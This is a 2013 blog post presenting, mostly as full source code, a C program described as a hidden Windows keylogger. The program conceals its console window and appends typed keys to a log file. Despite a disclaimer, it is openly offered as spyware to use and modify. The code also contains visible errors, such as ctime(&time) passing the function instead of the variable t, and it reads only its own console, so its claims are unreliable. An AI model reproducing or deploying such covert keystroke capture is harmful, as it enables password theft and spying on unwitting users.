Tuesday, 5 November 2013

Simple Key Logger Program in C

typing

The way it works is opens a file (specified by the programmer by a #define statement at the top of the file) and detects any user input and writes that to the file. Here’s the cool part, the program window will remain hidden the entire time (all thanks to windows.h)!

Program features:

Remains hidden the entire time
Exits when a certain key is pressed (escape key by default)
Outputs time started to log file
The programmer can specify the output file at the top of the file in the #define statement
Much more efficient than most keyloggers as it uses barely any resources
If say, the enter key is pressed, the switch case will pick it up and output a [ENTER] to the log file.
You can modify it the way you want!

One last thing before the code, please use it for non malicious purposes! I will NOT be blamed for you doing bad things with it!
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
/*
    Simple keylogger by Jack Krix 2013. If you enjoy this, rate it 5 <img src="http://codeplaza.org/wp-includes/images/smilies/icon_smile.gif" alt=":)" class="wp-smiley">
 
    Very important note:
 
    Use for non malicious tasks!
    I will NOT be held responsible for anything silly you may do with this!
*/
 
#include <stdio.h>
#include <conio.h>
#include <windows.h>
#include <time.h>
 
#define PATH "C:/Users/Administrator/Desktop/test-log.txt"
 
int main()
{
    char capture;
    FILE *file;
 
    // Time stuff.
    time_t t;
    t = time(NULL);
    // Hide the window
    HWND window;
    AllocConsole();
    window=FindWindowA("ConsoleWindowClass",NULL);
    ShowWindow(window,0);
 
    file = fopen(PATH, "a+");
    fprintf(file, "\n#$Logger: Written by jkrix. Started logging @ %s", ctime(&time));
 
    while(1){
        Sleep(20); // To make sure this program doesn't steal all resources.
        if (kbhit()){
            capture = getch();
            // Just add in some helper strings here to the file, feel free to modify these to your needs.
            switch ((int)capture){
                case ' ':               // Space key...obviously.
                    fprintf(file, " ");
                    break;
                case 0x09:              // Tab key.
                    fprintf(file, "[TAB]");
                    break;
                case 0x0D:              // Enter key.
                    fprintf(file, "[ENTER]");
                    break;
                case 0x1B:              // Escape key.
                    fprintf(file, "[ESC]");
                    break;
                case 0x08:              // Backspace key.
                    fprintf(file, "[BACKSPACE]");
                    break;
                default:
                    fputc(capture,file); // Put any other inputted key into the file.
            }
 
            if ( (int) capture == 27 ){ // The escape key. You can change this to anything you want.
                fclose(file);
                return 0;
            }
        }
    }
}

No comments:

Post a Comment